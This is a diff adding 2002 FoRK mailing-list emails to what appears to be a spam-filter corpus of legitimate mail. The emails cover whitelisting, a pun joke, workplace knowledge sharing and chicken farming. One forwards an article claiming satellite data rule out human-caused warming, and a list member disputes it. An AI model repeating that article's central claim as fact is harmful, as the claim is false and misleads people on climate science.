dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OBJn408786 for ; + Wed, 24 Jul 2002 12:19:49 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id BD8E129413B; Wed, 24 Jul 2002 04:09:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mandark.labs.netnoteinc.com (unknown [213.105.180.140]) by + xent.com (Postfix) with ESMTP id 5364C294138 for ; + Wed, 24 Jul 2002 04:08:19 -0700 (PDT) +Received: from phobos.labs.netnoteinc.com (phobos.labs.netnoteinc.com + [192.168.2.14]) by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP + id g6OBGhp18160; Wed, 24 Jul 2002 12:16:43 +0100 +Received: by phobos.labs.netnoteinc.com (Postfix, from userid 500) id + 80347440CC; Wed, 24 Jul 2002 07:15:22 -0400 (EDT) +Received: from phobos (localhost [127.0.0.1]) by + phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7ABB933F3C; + Wed, 24 Jul 2002 12:15:22 +0100 (IST) +To: Eugen Leitl +Cc: Mike Masnick , Gordon Mohr , + fork@xent.com +Subject: Re: Mossberg on 'ChoiceMail': "In my tests, it cut my spam to zero." +In-Reply-To: Message from Eugen Leitl of + "Wed, 24 Jul 2002 11:49:30 +0200." + +From: yyyy@spamassassin.taint.org (Justin Mason) +X-GPG-Key-Fingerprint: 0A48 2D8B 0B52 A87D 0E8A 6ADD 4137 1B50 6E58 EF0A +Message-Id: <20020724111522.80347440CC@phobos.labs.netnoteinc.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 12:15:17 +0100 + + +Eugen Leitl said: + +> Spammers cannot be bothered to keep track if individual whitelists +> associated with a given email address. + +But it's a good bet that jm /at/ jmason.org, or someone-else /at/ +jmason.org, is in jm /at/ jmason.org's whitelist. + +> Of course you populate your whitelist with contents of your inbox minus +> spam, and then add manually stuff from your addressbook. + +all I can read there is "manual"... + +--j. + +-- +'Justin Mason' => { url => 'http://jmason.org/', blog => 'http://taint.org/' } +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00828.47851f2029854a0a9987c89b74a4c912 b/bayes/spamham/easy_ham_2/00828.47851f2029854a0a9987c89b74a4c912 new file mode 100644 index 0000000..33737e3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00828.47851f2029854a0a9987c89b74a4c912 @@ -0,0 +1,64 @@ +From fork-admin@xent.com Wed Jul 24 12:26:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 96585440CC + for ; Wed, 24 Jul 2002 07:26:34 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 12:26:34 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OBRn409289 for ; + Wed, 24 Jul 2002 12:27:49 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 375F929413B; Wed, 24 Jul 2002 04:17:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mandark.labs.netnoteinc.com (unknown [213.105.180.140]) by + xent.com (Postfix) with ESMTP id 87505294137 for ; + Wed, 24 Jul 2002 04:16:12 -0700 (PDT) +Received: from phobos.labs.netnoteinc.com (phobos.labs.netnoteinc.com + [192.168.2.14]) by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP + id g6OBPKp18188; Wed, 24 Jul 2002 12:25:20 +0100 +Received: by phobos.labs.netnoteinc.com (Postfix, from userid 500) id + EE2E9440CC; Wed, 24 Jul 2002 07:23:59 -0400 (EDT) +Received: from phobos (localhost [127.0.0.1]) by + phobos.labs.netnoteinc.com (Postfix) with ESMTP id E55BB33E50; + Wed, 24 Jul 2002 12:23:59 +0100 (IST) +To: "R. A. Hettinga" +Cc: fork@spamassassin.taint.org +Subject: Re: "Ouch. Ouch. Ouch. Ouch. Ouch...."(was Re: My brain hurts) +In-Reply-To: Message from + "R. A. Hettinga" + of + "Tue, 23 Jul 2002 23:22:04 EDT." + +From: yyyy@spamassassin.taint.org (Justin Mason) +X-GPG-Key-Fingerprint: 0A48 2D8B 0B52 A87D 0E8A 6ADD 4137 1B50 6E58 EF0A +Message-Id: <20020724112359.EE2E9440CC@phobos.labs.netnoteinc.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 12:23:54 +0100 + + +how's about the String Joke? + +A piece of string and his friend walks into a bar. The barman says +"sorry, we don't serve string here". String & friend walk out +(grumbling). String asks friend "listen, could you tatter my ends and +tie me up?" Friend obliges, and they return; barman says "aren't you +that piece of string I threw out?" "No, I'm a frayed knot." + +--j. +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00829.28cef3aab019aea7ee4b0cae83f4cc4f b/bayes/spamham/easy_ham_2/00829.28cef3aab019aea7ee4b0cae83f4cc4f new file mode 100644 index 0000000..74bf59d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00829.28cef3aab019aea7ee4b0cae83f4cc4f @@ -0,0 +1,68 @@ +From fork-admin@xent.com Tue Jul 23 19:57:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B1FAD440CC + for ; Tue, 23 Jul 2002 14:57:36 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 19:57:36 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NIuj421373 for ; + Tue, 23 Jul 2002 19:56:46 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 0619B2940F5; Tue, 23 Jul 2002 11:46:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from localhost.localdomain (h0040100cc755.ne.client2.attbi.com + [65.96.221.248]) by xent.com (Postfix) with ESMTP id DF81D2940E3 for + ; Tue, 23 Jul 2002 11:45:07 -0700 (PDT) +Received: from snoopy (treese@localhost) by localhost.localdomain + (8.11.6/8.11.0) with ESMTP id g6NItjV29883 for ; + Tue, 23 Jul 2002 14:55:46 -0400 +Message-Id: <200207231855.g6NItjV29883@localhost.localdomain> +To: fork@spamassassin.taint.org +From: Win Treese +Subject: Re: NYTimes.com Article: Why We're So Nice: We're Wired to Cooperate +In-Reply-To: Message from Owen Byrne of 23 Jul 2002 10:02:42 -0300 +X-Mailer: mh-e 6.1; nmh 1.0.4; Emacs 21.1 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 14:55:45 -0400 + + +> > Tom said: +> > +> > The question then becomes, why is knowledge sharing such a difficult +> > thing in organizations? + +And Owen replied: + +> Well, IMNHO, its because companies do not reward knowledge sharers. When + +I don't work in this area, but I have a suspicion that many people +suspect projects for "knowledge management" and "knowledge sharing" as +attempts to eliminate their jobs, or at least their importance. If "the +organization" knows all the things I know, why does it need me? + +This should actually be easy to test experimentally: compare the results +of having someone call up and say, "Can you show us how to do X for this +project we're working on?" with those of having someone summoned by a +knowledge management project to explain how to do X for the knowledge +archives. + + - Win + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00830.5d4c60cba2924e9a7d484a105dbd7b08 b/bayes/spamham/easy_ham_2/00830.5d4c60cba2924e9a7d484a105dbd7b08 new file mode 100644 index 0000000..c183b2e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00830.5d4c60cba2924e9a7d484a105dbd7b08 @@ -0,0 +1,231 @@ +From fork-admin@xent.com Tue Jul 23 20:19:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 45F2F440CC + for ; Tue, 23 Jul 2002 15:18:59 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 20:18:59 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NJJj422662 for ; + Tue, 23 Jul 2002 20:19:46 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 46433294109; Tue, 23 Jul 2002 12:09:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from blount.mail.mindspring.net (blount.mail.mindspring.net + [207.69.200.226]) by xent.com (Postfix) with ESMTP id 15116294106 for + ; Tue, 23 Jul 2002 12:08:38 -0700 (PDT) +Received: from user-119ac86.biz.mindspring.com ([66.149.49.6]) by + blount.mail.mindspring.net with esmtp (Exim 3.33 #1) id 17X59Z-0000pn-00; + Tue, 23 Jul 2002 15:17:01 -0400 +MIME-Version: 1.0 +X-Sender: rahettinga@pop.earthlink.net +Message-Id: +To: Digital Bearer Settlement List , fork@spamassassin.taint.org +From: "R. A. Hettinga" +Subject: Just Ask the Experts +Content-Type: text/plain; charset="us-ascii" +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 15:05:50 -0400 + +A little tidbit for those who still believe in science by opinion poll... + +Cheers, +RAH + + +http://www.techcentralstation.com/1051/printer.jsp?CID=1051-072302B + + + +Just Ask the Experts +By Sallie Baliunas and Willie Soon 07/23/2002 + + +In 2001 the National Science Foundation surveyed 1,500 people nationwide +and found that 77% believed that "increased carbon dioxide and other gases +released into the atmosphere will, if unchecked, lead to global warming +..." Yet half of those polled believed that humans and dinosaurs co-existed +on Earth, despite the scientific fact that the dinosaurs went extinct tens +of millions of years before the earliest hominids appeared. Worse, only 22% +of the respondents understood what a molecule - for example, carbon dioxide +- is. + +As in the case of the belief by many that dinosaurs and early humans +co-existed, public opinion does not change the actual facts about the +material world. Such a poll measures nothing more than the degree of public +ignorance about scientific matters. + +Most people get news stories about science and technology developments from +television. And after more than a decade of being fed what-if stories about +global warming from human activities, no wonder most people "believe" that +global warming "will" occur. However, on the anxiety scale, only 33% "worry +a great deal" about global warming, a worry that ranks at 12 out of 13 +environmental concerns. The top environmental fear, shared by 64% of those +polled, was polluted drinking water. + +So What Do We Know? + +Concerning the latest understanding on human-made global warming, here are +three points we know from the science: + + 1. The surface record of temperature from thermometers show widespread +warming in the 20th century compared to the 19th. There was one period of +warming early in the 20th century, the second after the 1970s. Ecosystems +have responded to this widespread warmth, not seen since ca. 800 - 1200 C.E. + + But the cause of global surface warming cannot be associated with +human activity without additional information. Some media reports point to +ecosystem responses of 20th century warmth (e.g., mountain glacier retreat) +and unjustifiably claim the responses owe to man-made causes. But mountain +glaciers receded during the past period of warmth around 1,000 years ago, +and advanced during the unusual cold of the Little Ice Age (ca. 1300 - 1900 +C.E.). Both those climate shifts occurred naturally, before the increased +concentration of human-made greenhouse gases in the air. + + + # All computer simulations of climate say that in order to conclude +that the surface global warming trend is human caused, the surface warmth +must be accompanied by an equal or larger warming trend in the air from one +to five miles in height. Measurements made by satellites and verified from +weather balloons show no meaningful human-made warming trend over the last +two or even four decades. Thus, the recent warming trend in the surface +temperature record cannot be caused by the increase of human-made +greenhouse gases in the air. + + + # The computer simulations are not reliable as tools for explaining +past climate or making projections for future trends. + + + +Future Shock: The Scenarios + +When it comes to future scenarios, consider what the experts actually say +about potential climate change. The United Nations Intergovernmental Panel +on Climate Change writes in its Special Report on Emissions Scenarios +(2000), "Scenarios are images of the future or alternative futures. They +are neither predictions nor forecasts." Further, "The possibility that any +single emissions path will occur as described in the scenario is highly +uncertain," and finally, "No judgement is offered in this Report as to the +preference for any of the scenarios and they are not assigned probabilities +of occurrence, neither must they be interpreted as policy recommendations." + +Forecasting future societal conditions and energy use often amount to +little more than unconvincing guesses. Jesse Ausebel at Rockefeller +University in April 2002 critiqued the U.N. IPCC's " ... 40 energy +scenarios, with decarbonization, or carbonization, sloping every which way +and no probabilities attached. ... It is a confession that collectively +they know nothing, that no science underlies their craft, and that politics +strongly bias their projections." + +Nonetheless, such a guess about the world's energy future forms the first +step in making a 100-year prediction of global warming. That first +uncertain forecast - future energy use - used as input in the climate +simulation surely compounds the uncertainty in the next step, the climate +forecast. + +Inability to predict the future should not be surprising. The climate +simulations upon which predictions are based yield unreliable results +because, as outlined above, the results are incompatible with measurements +of how the climate has changed in the last few decades. + +Complete Speculation + +On May 24, 1994, Richard Lindzen, the Alfred P. Sloan Professor of +Meteorology at MIT, testified to the Senate Committee on Energy and Natural +Resources, "The claims about catastrophic consequences of significant +global warming, should it occur at all, are almost completely speculative. +Not only are they without any theoretical foundations, but they frequently +involved assuming the opposite of what appears to happen." + +Despite years of solid work by climate specialists, the output of computer +simulations remains undependable, owing to the extraordinary complexity of +the natural world. Thus, on May 1, 2001 Lindzen testified to the Senate +Commerce Committee about the long-standing inability of computer +simulations to deliver results that resemble reality, even in the cases +where good measurements are available: + +"For example, there is widespread agreement [among climate scientists] ... +that large computer climate models are unable to even simulate major +features of past climate such as the 100 thousand year cycles of ice ages +that have dominated climate for the past 700 thousand years, and the very +warm climates of the Miocene [23 to 5 million years ago], Eocene [57 to 35 +million years ago], and Cretaceous [146 to 65 million years ago]. Neither +do they do well at accounting for shorter period and less dramatic +phenomena like El Ninos, quasi-biennial oscillations, or intraseasonal +oscillations - all of which are well documented in the data, and important +contributors to natural variability." +Lindzen explained the failure of computer simulations simply in May 2000: + +"The point I am making is that it is a fallacious assumption that the +models have everything in them, and will display it, and somehow the rest +is just technical uncertainty. There are things they literally don't have." +This punctuates the popular notion that averaging output from computer +results will somehow, miraculously, give a scientifically appropriate +result. + +Think Locally + +Now, on top of the unreliable forecasts of global warming -- which rest on +"highly uncertain" forecasts of future economic and social conditions and +un-validated climate simulations -- come the forecasts of local impacts, in +order to make the case for relevancy to people. Increased storminess is one +prediction of the outcome of human-made global warming found in the popular +media, which would be where most people learn about the issue. + +The idea that storminess increases with human-made global warming defies +expert opinion. David Legates, an expert hydrology researcher, testified in +the Senate Committee on Environment and Public Works on March 13, 2002: + +"Ascertaining anthropogenic changes to these extreme weather events is +nearly impossible. Climate models cannot even begin to simulate storm-scale +systems, let alone model the full range of year-to-year variability... +Clearly, claims that anthropogenic global warming will lead to more +occurrences of droughts, floods, and storms are wildly exaggerated." +The U.N. IPCC Third Assessment Report concurs, "[T]here is currently +insufficient information to assess recent trends, and climate models +currently lack the spatial detail required to make confident projections. +For example, very small-scale phenomena, such as thunderstorms, tornadoes, +hail and lightning, are not simulated in climate models (Summary for +Policymakers, p. 15)." + +A group of extremely relevant experts, the American Association of State +Climatologists, recently summarized the state of climate simulations: + +"Climate prediction is complex with many uncertainties ... For time scales +of a decade or more, understanding the empirical accuracy of such +predictions - called "verification" - is simply impossible, since we have +to wait a decade or longer to assess the accuracy of the forecasts. ... +climate predictions have not demonstrated skill in projecting future +variability and changes in such important climate conditions as growing +season, drought, flood-producing rainfall, heat waves, tropical cyclones +and winter storms. These are the type of events that have a more +significant impact on society than annual average global temperature +trends." +On the facts of human-made global warming, should one believe television or +the experts? + +-- +----------------- +R. A. Hettinga +The Internet Bearer Underwriting Corporation +44 Farquhar Street, Boston, MA 02131 USA +"... however it may deserve respect for its usefulness and antiquity, +[predicting the end of the world] has not been found agreeable to +experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00831.7a1dcc977a5a5e7080848af6614fbcbb b/bayes/spamham/easy_ham_2/00831.7a1dcc977a5a5e7080848af6614fbcbb new file mode 100644 index 0000000..6a5bdc9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00831.7a1dcc977a5a5e7080848af6614fbcbb @@ -0,0 +1,73 @@ +From fork-admin@xent.com Tue Jul 23 20:29:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1E30C440CC + for ; Tue, 23 Jul 2002 15:29:40 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 20:29:40 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NJSl423116 for ; + Tue, 23 Jul 2002 20:28:48 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 1B27C294131; Tue, 23 Jul 2002 12:18:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from barry.mail.mindspring.net (barry.mail.mindspring.net + [207.69.200.25]) by xent.com (Postfix) with ESMTP id 58F84294115 for + ; Tue, 23 Jul 2002 12:17:49 -0700 (PDT) +Received: from user-119ac86.biz.mindspring.com ([66.149.49.6]) by + barry.mail.mindspring.net with esmtp (Exim 3.33 #1) id 17X5J6-0002po-00; + Tue, 23 Jul 2002 15:26:52 -0400 +MIME-Version: 1.0 +X-Sender: rahettinga@pop.earthlink.net +Message-Id: +In-Reply-To: <200207231855.g6NItjV29883@localhost.localdomain> +References: <200207231855.g6NItjV29883@localhost.localdomain> +To: Win Treese , fork@spamassassin.taint.org +From: "R. A. Hettinga" +Subject: Re: NYTimes.com Article: Why We're So Nice: We're Wired to Cooperate +Content-Type: text/plain; charset="us-ascii" +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 15:20:20 -0400 + +At 2:55 PM -0400 on 7/23/02, Win Treese wrote: + + +> This should actually be easy to test experimentally: compare the results +> of having someone call up and say, "Can you show us how to do X for this +> project we're working on?" with those of having someone summoned by a +> knowledge management project to explain how to do X for the knowledge +> archives. + +About the only way I've heard of something like this working was back in +the Eighties, when management poster-child QuadGraphics used to have the +maxim "you can't get promoted unless you teach someone your job". + +That might do the trick, though I don't know what happened to QuadGraphics... + +Cheers, +RAH + +-- +----------------- +R. A. Hettinga +The Internet Bearer Underwriting Corporation +44 Farquhar Street, Boston, MA 02131 USA +"... however it may deserve respect for its usefulness and antiquity, +[predicting the end of the world] has not been found agreeable to +experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00832.5822c35b368075282fd6059a5700d364 b/bayes/spamham/easy_ham_2/00832.5822c35b368075282fd6059a5700d364 new file mode 100644 index 0000000..3d2cd15 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00832.5822c35b368075282fd6059a5700d364 @@ -0,0 +1,76 @@ +From fork-admin@xent.com Tue Jul 23 21:39:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E63ED440CC + for ; Tue, 23 Jul 2002 16:39:46 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 21:39:46 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NKej427118 for ; + Tue, 23 Jul 2002 21:40:51 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 0279029410C; Tue, 23 Jul 2002 13:30:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from sunserver.permafrost.net (u172n16.hfx.eastlink.ca + [24.222.172.16]) by xent.com (Postfix) with ESMTP id 9FD252940AB for + ; Tue, 23 Jul 2002 13:29:36 -0700 (PDT) +Received: from [192.168.123.198] (helo=permafrost.net) by + sunserver.permafrost.net with esmtp (Exim 3.35 #1 (Debian)) id + 17X6NZ-0006hT-00; Tue, 23 Jul 2002 17:35:33 -0300 +Message-Id: <3D3DBCF1.1010302@permafrost.net> +From: Owen Byrne +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0rc3) + Gecko/20020523 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: "R. A. Hettinga" +Cc: Digital Bearer Settlement List , fork@spamassassin.taint.org +Subject: Re: Just Ask the Experts +References: +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 17:30:41 -0300 + +R. A. Hettinga wrote: + +>A little tidbit for those who still believe in science by opinion poll... +> +>Cheers, +>RAH +> +> + +Was there any science in there? All I saw was more of the "myth of the +liberal media." Every opinion supporting global warming was "the media", +every opinion against it was an "expert." A brief perusal of the rest of +the web site and I'm left wondering where the science +is. +And, to put on my extremist hat, every organization or scientist in +there was American. Big deal - a bunch of scientists being trotted out +to support government and industrial policy that is the ultimate source +of their livelihood and research money. If the government changes their +mind on Kyoto, they'll trot out another group of tame scientists. And +all the American papers will switch back to warning us about climate change. + +Owen + + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00833.c9204bbf8363eddf06ccb8b9489ae59c b/bayes/spamham/easy_ham_2/00833.c9204bbf8363eddf06ccb8b9489ae59c new file mode 100644 index 0000000..2a5158d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00833.c9204bbf8363eddf06ccb8b9489ae59c @@ -0,0 +1,91 @@ +From fork-admin@xent.com Tue Jul 23 21:45:09 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2F228440CC + for ; Tue, 23 Jul 2002 16:45:09 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 21:45:09 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NKj5427266 for ; + Tue, 23 Jul 2002 21:45:05 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 45ABD294134; Tue, 23 Jul 2002 13:34:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from TheWorld.com (pcls4.std.com [199.172.62.106]) by xent.com + (Postfix) with ESMTP id C5583294133 for ; Tue, + 23 Jul 2002 13:33:23 -0700 (PDT) +Received: from shell.TheWorld.com (root@shell01.TheWorld.com + [199.172.62.241]) by TheWorld.com (8.9.3/8.9.3) with ESMTP id QAA29548 for + ; Tue, 23 Jul 2002 16:42:34 -0400 +Received: from localhost (jts1486@localhost) by shell.TheWorld.com + (8.9.3/8.9.3) with ESMTP id QAA30578356 for ; + Tue, 23 Jul 2002 16:42:34 -0400 (EDT) +X-Authentication-Warning: shell01.TheWorld.com: jts1486 owned process + doing -bs +From: JTS - MCDLXXXVI +To: fork@spamassassin.taint.org +Subject: Re: NYTimes.com Article: Why We're So Nice: We're Wired to Cooperate +In-Reply-To: <20020723190902.17728.83188.Mailman@lair.xent.com> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 16:42:33 -0400 + +From: Win Treese +> And Owen replied: +> > Well, IMNHO, its because companies do not reward knowledge sharers. +> +> I don't work in this area, but I have a suspicion that many people +> suspect projects for "knowledge management" and "knowledge sharing" as +> attempts to eliminate their jobs, or at least their importance. If "the +> organization" knows all the things I know, why does it need me? + +I agree wholeheartedly. It is easier to sit on knowledge than to +continually acquire more on the frontiers. + +> This should actually be easy to test experimentally: compare the results +> of having someone call up and say, "Can you show us how to do X for this +> project we're working on?" with those of having someone summoned by a +> knowledge management project to explain how to do X for the knowledge +> archives. + +This is in fact very true. People hate doing this for several reasons in +my experience: +1) "Software changes. Why waste time writing a FAQ now that will be out +of date at the next release in 3 months?" +2) "This knowledge is specialized. Only 4 people need to know this, and +they already do. If anyone else needs to know it they know who they can +call." +The same engineers who give these excuses will spend eternities on the +phone discussing this arcana and sharing the knowledge with anyone who has +the patience to ask. + +The strongest contributors freely share everything they know whenever +asked (or whenever they see the need for the information in the company) +and who at the same time continue to generate new knowledge. + +Personal evaluation: my worth comes slightly lower on the scale in that I +synthesize the knowledge from various personal sharing exercises into +usable documents and messages for the company to employ. This would seem +like a marketing exercise except that Marketing is useless. Useful +knowledge sharing comes (IMHO) from engineering and sales. + + JTS + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00834.c820e444255bc80fafd01933f05703d6 b/bayes/spamham/easy_ham_2/00834.c820e444255bc80fafd01933f05703d6 new file mode 100644 index 0000000..ea9b192 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00834.c820e444255bc80fafd01933f05703d6 @@ -0,0 +1,78 @@ +From fork-admin@xent.com Tue Jul 23 23:00:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E3A90440CC + for ; Tue, 23 Jul 2002 18:00:50 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 23:00:50 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NM1k431107 for ; + Tue, 23 Jul 2002 23:01:46 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 9F5A72940E2; Tue, 23 Jul 2002 14:51:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from localhost.localdomain (pm0-3.sba1.netlojix.net + [207.71.218.3]) by xent.com (Postfix) with ESMTP id 81B032940AE for + ; Tue, 23 Jul 2002 14:50:49 -0700 (PDT) +Received: (from dave@localhost) by maltesecat (8.8.7/8.8.7a) id PAA04796; + Tue, 23 Jul 2002 15:05:48 -0700 +Message-Id: <200207232205.PAA04796@maltesecat> +To: fork@spamassassin.taint.org +Subject: Re: [Baseline] Raising chickens the high-tech way +In-Reply-To: Message from fork-request@xent.com of + "Tue, 23 Jul 2002 12:09:02 PDT." + <20020723190902.17728.83188.Mailman@lair.xent.com> +From: Dave Long +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 15:05:48 -0700 + + + +> It also strikes me that it will not be very long before livestock is +> genetically engineered to be dumber and meatier, and better adapted to +> living in industrial conditions. + +If we're willing to count artificial +selection as genetic engineering, it +has been happening since pre-literate +times, and is called "domestication". + +-Dave + + + +> "When the truck leaves Arkansas, the invoice leaves via the U.S. mail +> and they both arrive at about the same time," Collins says. "If our +> receiving clerks could sign onto the network and do an electronic +> handshake with the driver-you're over an item on this case, that case +> was damaged-we're all in agreement, and then Tyson could send a clean +> invoice about which there is no dispute." + +I can see the value to a system which +guaranteed that the truck would show +up with all items as ordered -- but if +there's going to be spoilage anyway, I +don't see how much value that "clean" +invoice provides -- just think about +the costs of reliable networks versus +reliable protocols on unreliable ones. + +If the trucks are unreliable, then the +sticky pads seem like the clear winner +for return on IT capital investment. +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00835.90603de9b085b1871c7fa52f077b1437 b/bayes/spamham/easy_ham_2/00835.90603de9b085b1871c7fa52f077b1437 new file mode 100644 index 0000000..e477969 --- /dev/null +++ 